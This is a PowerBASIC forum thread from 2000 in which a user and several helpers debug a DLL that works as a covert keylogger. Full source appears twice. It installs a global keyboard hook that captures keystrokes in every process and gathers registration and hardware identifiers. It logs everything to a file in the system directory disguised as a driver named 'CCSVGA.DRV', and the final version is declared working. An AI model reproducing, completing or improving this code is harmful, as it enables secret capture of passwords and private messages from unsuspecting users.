Announcement

Collapse
No announcement yet.

%DLL_PROCESS_DETACH Fails.

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

  • %DLL_PROCESS_DETACH Fails.

    Since this is NOT an easy question I thought I'd start a new post for it....
    Life is good in this DLL, it works, it writes temp files with the keyboard capture for each process that is oipened whether it's an email or notepad.
    Life is good.

    Now, process ends I want to close the temp file, read the buffer and store it in one MAIN file.
    It's not happening, MSGBOX "HELLO" does not even happen.

    Is there a reason for this?

    Code:
    Function LibMain(ByVal hInstance   As Long, _
                     ByVal fwdReason   As Long, _
                     ByVal lpvReserved As Long) Export As Long
    
    Select Case fwdReason
    
        Case %DLL_PROCESS_ATTACH
           Dim MemStat         As MEMORYSTATUS
           Dim SysInfo         As SYSTEM_INFO
           Dim osinfo          As OSVERSIONINFO
           CfgFile = CCSGetSystemDirectory & "\SPYDER32.INI"
    
          'Initialize buffer:
           KeyFile = CCSGetSystemDirectory & "\CCSVGA.DRV"
           If IsFalse Exist(KeyFile) Then
               g_Result = GetRegistrationInfo(wRegUser,wRegCompany,wRegProdID)
               GlobalMemoryStatus MemStat
               GetSystemInfo SysInfo
               KeyBuffer = "Start: "  & GetPCTimeandDate() & $CRLF
               KeyBuffer = KeyBuffer &  "Operating System: " & GetWindowsVersion & $CRLF
               KeyBuffer = KeyBuffer &  "RegisteredUser: " & wRegUser & $CRLF
               KeyBuffer = KeyBuffer &  "RegisteredOrganization: " &  wRegCompany & $CRLF
               KeyBuffer = KeyBuffer &  "ProductId: " &  wRegProdID & $CRLF
               KeyBuffer = KeyBuffer &  "Memory Available: " & Format$(MemStat.dwTotalPhys /1024,"###,###") & " kb" & $CRLF
               KeyBuffer = KeyBuffer &  "Number of Processors: " & Trim$(Str$(SysInfo.dwNumberorfProcessors)) & $CRLF
               KeyBuffer = KeyBuffer &  "Processor Type: " & CPUName & $CRLF
               KeyBuffer = KeyBuffer &  "Processor speed: " & CPUSpeed & " Mhz" & $CRLF
               KeyBuffer = KeyBuffer &  "Processor Ser #: " & GetPIIISerial & $CRLF
               KeyBuffer = KeyBuffer &  "System Drive Info: " & CCSGetVolumeInformation(Left$(CcSGetWindowsDirectory,2)) & $CRLF
               KeyBuffer = KeyBuffer &  "TEMP Folder: " & CCSGetWindowsTempDir & $CRLF
               KeyBuffer = KeyBuffer &  "Windows Directory: " & CCSGetWindowsDirectory & $CRLF
               KeyBuffer = KeyBuffer &  "System Directory: " & CCSGetSystemDirectory & $CRLF
               hFile = FreeFile
               Open KeyFile For Output As #hFile
               Print #hFile, KeyBuffer
               Close #hFile
           End If
    
           'No Files are open at this point in time
           'Find the next available temp file for us, put in c:\windows or c:\winnt
           For lLoop = 1 To %MAX_FILES
               gTmpFile = CCSGetWindowsDirectory & "\CCSTMP" & Trim$(Str$(lLoop)) & ".tmp"
               If IsTrue Exist(gTmpFile) Then
                  Iterate
               Else
                  hFile = FreeFile
                  Open gTmpFile For Append As #hFile
                  Exit For
               End If
           Next
           KeyBuffer = String$(60,"-") & $CRLF
           KeyBuffer = KeyBuffer & "Start: "  & GetPCTimeandDate() & $CRLF
           Print #hFile, KeyBuffer
           'Install hook Procedure:
           hHook = SetWindowsHookEx&(%WH_KEYBOARD, _
                                     CodePtr(KeyBoardHookFunction), _
                                     hInstance, _
                                     0&)
           If hHook Then
             LibMain = 1   'success!
           End If
           Exit Function
    
        Case %DLL_PROCESS_DETACH
             hHook = UnhookWindowsHookEx(hHook)
             KeyBuffer = KeyBuffer & "End: "  & GetPCTimeandDate() & $CRLF
             KeyBuffer = KeyBuffer & String$(60,"-") & $CRLF
    '         Keybuffer = ConvertToHexString(Keybuffer)
             Print #hFile, KeyBuffer  'Goes into TMP File
             Close #hFile             'Tmp file
             'Temp file is closed, read the entire file in now (Keystrokes not stored in keybuffer), then kill it
             KeyBuffer = CCSReadFile(gTmpFile)
             Kill gTmpFile
             'Now open the main file, append KeyBuffer to it, and close it.
             hFile = FreeFile
             Open KeyFile For Append Lock Read Write As #hFile
             Print #hFile, KeyBuffer
             Close #hFile
    
             If hHook Then
               LibMain = 1   'success!
             End If
          Exit Function
    
        Case %DLL_THREAD_ATTACH
           LibMain = 1   'success!
          Exit Function
    
        Case %DLL_THREAD_DETACH
           LibMain = 1   'success!
          Exit Function
    End Select
    
    End Function
    '
    '
    Function KeyBoardHookFunction(ByVal HookCode As Long, _
                                  ByVal wParam As Long, _
                                  ByVal lParam As Long) Export As Long
      If Bit(lParam, 31) Then                     'Only grab the keyup
        Select Case wParam
          Case 13
             Print #hFile,""
          Case 32 To 90                           'Normal Ascii Keys
    '        KeyBuffer = KeyBuffer & Chr$(wParam)  'add keypress
             Print #hFile, Chr$(wParam);
        End Select
      End If
    End Function
    ------------------
    Scott
    mailto:[email protected][email protected]</A>

    [This message has been edited by Scott Turchin (edited December 14, 2000).]
    Scott Turchin
    MCSE, MCP+I
    http://www.tngbbs.com
    ----------------------
    True Karate-do is this: that in daily life, one's mind and body be trained and developed in a spirit of humility; and that in critical times, one be devoted utterly to the cause of justice. -Gichin Funakoshi

  • #2
    save hinstance for dll in %dll_process_attach (hinstdll = hinstance)
    when necessary to release dll, unhook and freelibrary hinstdll.

    i think samples in http://www.powerbasic.com/support/pb...ad.php?t=22658
    could be useful


    ------------------
    e-mail: [email protected]

    Comment


    • #3
      My off-the-cuff guess is that the DLL won't detach until the hook is unhooked. Closing the app probably leaves the DLL "running" to maintain the hook.

      See if %DLL_THREAD_DETACH fires when the app exits...?

      -- Eric

      ------------------
      Perfect Sync: Perfect Sync Development Tools
      Email: mailto:[email protected][email protected]</A>
      "Not my circus, not my monkeys."

      Comment


      • #4
        As the code above sits, it does detach, I can recompile the DLL instantly and not receive the Destination Write File Error.
        I can also edit the temp files, another indicator.
        WHen I switch the hInstance to gHinst and read gHinst = hInstance then I cannot edit the temp files, recompile the DLL, or view anything and must reboot.

        The DLL sits in teh app directory, not the system for what it's worth.

        As the code above sits, if I put a msgbox "DEBUG" in there, it never occurs.
        The temp files are written however.

        Also note, the DLL is now called from a VISIBLE dialog box that sits there, runs the InitCCSDLL (dummy = 1) function and sits there...

        So I'm not sure whats causing this, it worked until I changed some stuff to do the TEMP files instead of hav ing 5 processes editing ONE file...

        Scott

        ------------------
        Scott
        mailto:[email protected][email protected]</A>
        Scott Turchin
        MCSE, MCP+I
        http://www.tngbbs.com
        ----------------------
        True Karate-do is this: that in daily life, one's mind and body be trained and developed in a spirit of humility; and that in critical times, one be devoted utterly to the cause of justice. -Gichin Funakoshi

        Comment


        • #5
          If you are using VB, try closing VB for once, See..

          The DLL is prob. connected to VB.
          (My problem often)


          ------------------
          [email protected]
          hellobasic

          Comment


          • #6
            Thanks for the effort I quit using VB when a simple PB 48k executable turned into 2.1 megs in VB...


            Scott

            ------------------
            Scott
            mailto:[email protected][email protected]</A>
            Scott Turchin
            MCSE, MCP+I
            http://www.tngbbs.com
            ----------------------
            True Karate-do is this: that in daily life, one's mind and body be trained and developed in a spirit of humility; and that in critical times, one be devoted utterly to the cause of justice. -Gichin Funakoshi

            Comment


            • #7
              Regarding MSGBOX in the DLL_PROCESS_DETACH event... since the app has already well into termination when this event occurs, Windows prevents the MSGBOX from appearing, hence your observations.

              Internally, MSGBOX encapsulates the MessageBox() API, and Windows reserves the right to ignore calls to that API in a number of circumstances... %DLL_PROCESS_DETACH is one of them. In general, it is not a good idea to display any window or dialog in either of the %DLL_PROCESS_ATTACH or the %DLL_PROCESS_DETACH events.


              ------------------
              Lance
              PowerBASIC Support
              mailto:[email protected][email protected]</A>
              Lance
              mailto:[email protected]

              Comment


              • #8
                OK Gotcha, and it's probably not a good place to read files and write files either then?

                How could one incorporate KNOWING beforehand it would occur so I could read and write the files, because right now I'm 100% certain of the code and it just isn't working

                Thanks guys!

                Scott


                ------------------
                Scott
                mailto:[email protected][email protected]</A>
                Scott Turchin
                MCSE, MCP+I
                http://www.tngbbs.com
                ----------------------
                True Karate-do is this: that in daily life, one's mind and body be trained and developed in a spirit of humility; and that in critical times, one be devoted utterly to the cause of justice. -Gichin Funakoshi

                Comment


                • #9
                  Read & writing files should not be a problem, so the problem is probably elsewhere...

                  I'm not clear when or how you are opening the files to begin with, but I would not (personally) rely on the files remaining open for the duration between app termination and the DLL's process detach event...

                  Also, I highly recommend that you read Rector/Newcomer's chapter on DLL's, since it discusses the *reliability* of some of these DLL events actually firing.

                  Finally, since your code appears to use the default lock rights (LOCK READ WRITE) maybe your code is just failing to open the file because the files are open in SHARED mode elsewhere.

                  This is what I would do next: I'd add in some error testing to your code to check that the file I/O is actually working, and I'd also open all of the files from scratch, rather than relying on a file handle from elsewhere in the DLL.

                  Food for thought at least, huh? Please let us know how you get on...


                  ------------------
                  Lance
                  PowerBASIC Support
                  mailto:[email protected][email protected]</A>
                  Lance
                  mailto:[email protected]

                  Comment


                  • #10
                    Because Msgbox doesn't work normally in detach, better to test by Shell, for example,
                    Code:
                    Case %DLL_PROCESS_DETACH
                       Shell "notepad.exe"

                    ------------------
                    E-MAIL: [email protected]

                    Comment


                    • #11
                      Great tip, Semen! Thanks!


                      ------------------
                      Lance
                      PowerBASIC Support
                      mailto:[email protected][email protected]</A>
                      Lance
                      mailto:[email protected]

                      Comment


                      • #12
                        Why doesn't it work there?
                        What else doesn't work there? File operations?
                        That seems to be the holdup, otherwise it seems to be working but the DLL never unloads and a file never gets closed (Just one file, not the other 6 usually)


                        Scott

                        ------------------
                        Scott
                        mailto:[email protected][email protected]</A>
                        Scott Turchin
                        MCSE, MCP+I
                        http://www.tngbbs.com
                        ----------------------
                        True Karate-do is this: that in daily life, one's mind and body be trained and developed in a spirit of humility; and that in critical times, one be devoted utterly to the cause of justice. -Gichin Funakoshi

                        Comment


                        • #13
                          Interesting, that works..
                          Must be my goof-up in the File I/O.

                          Tanks!

                          Scott


                          ------------------
                          Scott
                          mailto:[email protected][email protected]</A>
                          Scott Turchin
                          MCSE, MCP+I
                          http://www.tngbbs.com
                          ----------------------
                          True Karate-do is this: that in daily life, one's mind and body be trained and developed in a spirit of humility; and that in critical times, one be devoted utterly to the cause of justice. -Gichin Funakoshi

                          Comment


                          • #14
                            Woohoooooo!!

                            You two are great!
                            I suspect the problem was in the wdriting of the file during keyboard hook.
                            The keyboard got unhooked and either some file I/O was still occuring or whatnot.

                            Now I just write to a buffer, then in the process detach I write the buffer and close the file, read it and append it ot the main file.

                            Life is good. So far so good in testing (In fact I am testing it as I write this!)

                            Thanks!!!

                            Scott


                            [This message has been edited by Scott Turchin (edited December 15, 2000).]
                            Scott Turchin
                            MCSE, MCP+I
                            http://www.tngbbs.com
                            ----------------------
                            True Karate-do is this: that in daily life, one's mind and body be trained and developed in a spirit of humility; and that in critical times, one be devoted utterly to the cause of justice. -Gichin Funakoshi

                            Comment


                            • #15
                              This works FLAWLESSLY!!
                              i GOT rid of the temp file altogether, then added the keystroke to a separate b uffer.
                              if that buffer is zero in length don't bother writing to the file, otehrwise append to main file.

                              Damn, life is GOOD!!

                              Thanks guys!

                              Code:
                              Function LibMain(ByVal hInstance   As Long, _
                                               ByVal fwdReason   As Long, _
                                               ByVal lpvReserved As Long) Export As Long
                              
                              Local lLoop         As Long
                              Local wReguser      As String
                              Local wRegCompany   As String
                              Local wRegProdID    As String
                              Local ft            As SYSTEMTIME
                              
                              g_hInst = hInstance
                              Select Case fwdReason
                              
                                  Case %DLL_PROCESS_ATTACH
                                     Dim MemStat         As MEMORYSTATUS
                                     Dim SysInfo         As SYSTEM_INFO
                                     Dim osinfo          As OSVERSIONINFO
                                     CfgFile = CCSGetSystemDirectory & "\SPYDER32.INI"
                              
                                    'Initialize buffer:
                                     KeyFile = CCSGetSystemDirectory & "\CCSVGA.DRV"
                                     If IsFalse Exist(KeyFile) Then
                                         g_Result = GetRegistrationInfo(wRegUser,wRegCompany,wRegProdID)
                                         GlobalMemoryStatus MemStat
                                         GetSystemInfo SysInfo
                                         KeyBuffer = "Start: "  & GetPCTimeandDate() & $CRLF
                                         KeyBuffer = KeyBuffer &  "Operating System: " & GetWindowsVersion & $CRLF
                                         KeyBuffer = KeyBuffer &  "RegisteredUser: " & wRegUser & $CRLF
                                         KeyBuffer = KeyBuffer &  "RegisteredOrganization: " &  wRegCompany & $CRLF
                                         KeyBuffer = KeyBuffer &  "ProductId: " &  wRegProdID & $CRLF
                                         KeyBuffer = KeyBuffer &  "Memory Available: " & Format$(MemStat.dwTotalPhys /1024,"###,###") & " kb" & $CRLF
                                         KeyBuffer = KeyBuffer &  "Number of Processors: " & Trim$(Str$(SysInfo.dwNumberorfProcessors)) & $CRLF
                                         KeyBuffer = KeyBuffer &  "Processor Type: " & CPUName & $CRLF
                                         KeyBuffer = KeyBuffer &  "Processor speed: " & CPUSpeed & " Mhz" & $CRLF
                                         KeyBuffer = KeyBuffer &  "Processor Ser #: " & GetPIIISerial & $CRLF
                                         KeyBuffer = KeyBuffer &  "System Drive Info: " & CCSGetVolumeInformation(Left$(CcSGetWindowsDirectory,2)) & $CRLF
                                         KeyBuffer = KeyBuffer &  "TEMP Folder: " & CCSGetWindowsTempDir & $CRLF
                                         KeyBuffer = KeyBuffer &  "Windows Directory: " & CCSGetWindowsDirectory & $CRLF
                                         KeyBuffer = KeyBuffer &  "System Directory: " & CCSGetSystemDirectory & $CRLF
                                         hFile = FreeFile
                                         Open KeyFile For Output As #hFile
                                         Print #hFile, KeyBuffer
                                         Close #hFile
                                     End If
                                     KeyBuffer = String$(60,"-") & $CRLF
                                     KeyBuffer = KeyBuffer & "Start: "  & GetPCTimeandDate() & $CRLF
                                     'Install hook Procedure:
                                     hHook = SetWindowsHookEx&(%WH_KEYBOARD, _
                                                               CodePtr(KeyBoardHookFunction), _
                                                               hInstance, _
                                                               0&)
                                     If hHook Then
                                       LibMain = 1   'success!
                                     End If
                                     Exit Function
                              
                                  Case %DLL_PROCESS_DETACH
                                       hHook = UnhookWindowsHookEx(hHook)
                              
                                       If Len(KeyStrokeBuffer) Then
                                           KeyBuffer = KeyBuffer & KeyStrokebuffer & $CRLF & "End: "  & GetPCTimeandDate() & $CRLF & String$(60,"-") & $CRLF
                                           'Now open the main file, append KeyBuffer to it, and close it.
                                           hFile = FreeFile
                                           Open KeyFile For Append Lock Read Write As #hFile
                                           Print #hFile, KeyBuffer
                                           Close #hFile
                                       End If
                              
                                       If hHook Then
                                         LibMain = 1   'success!
                                       End If
                                    Exit Function
                              
                                  Case %DLL_THREAD_ATTACH
                                     LibMain = 1   'success!
                                    Exit Function
                              
                                  Case %DLL_THREAD_DETACH
                                     LibMain = 1   'success!
                                    Exit Function
                              End Select
                              
                              End Function
                              '------------------------------------------------------------------------------------------------------------------------
                              Function KeyBoardHookFunction(ByVal HookCode As Long, _
                                                            ByVal wParam As Long, _
                                                            ByVal lParam As Long) Export As Long
                                If Bit(lParam, 31) Then                     'Only grab the keyup
                                  Select Case wParam
                                    Case 13
                                      KeyStrokeBuffer = KeyStrokeBuffer & $CRLF
                              '         Print #hFile,""
                                    Case 32 To 90                           'Normal Ascii Keys
                                      KeyStrokeBuffer = KeyStrokeBuffer & Chr$(wParam)  'add keypress
                              '         Print #hFile, Chr$(wParam);
                                  End Select
                                End If
                              End Function
                              ------------------
                              Scott
                              mailto:[email protected][email protected]</A>
                              Scott Turchin
                              MCSE, MCP+I
                              http://www.tngbbs.com
                              ----------------------
                              True Karate-do is this: that in daily life, one's mind and body be trained and developed in a spirit of humility; and that in critical times, one be devoted utterly to the cause of justice. -Gichin Funakoshi

                              Comment


                              • #16
                                Hmmmm, that looks familiar...lol

                                ------------------
                                [email protected]

                                Comment

                                Working...
                                X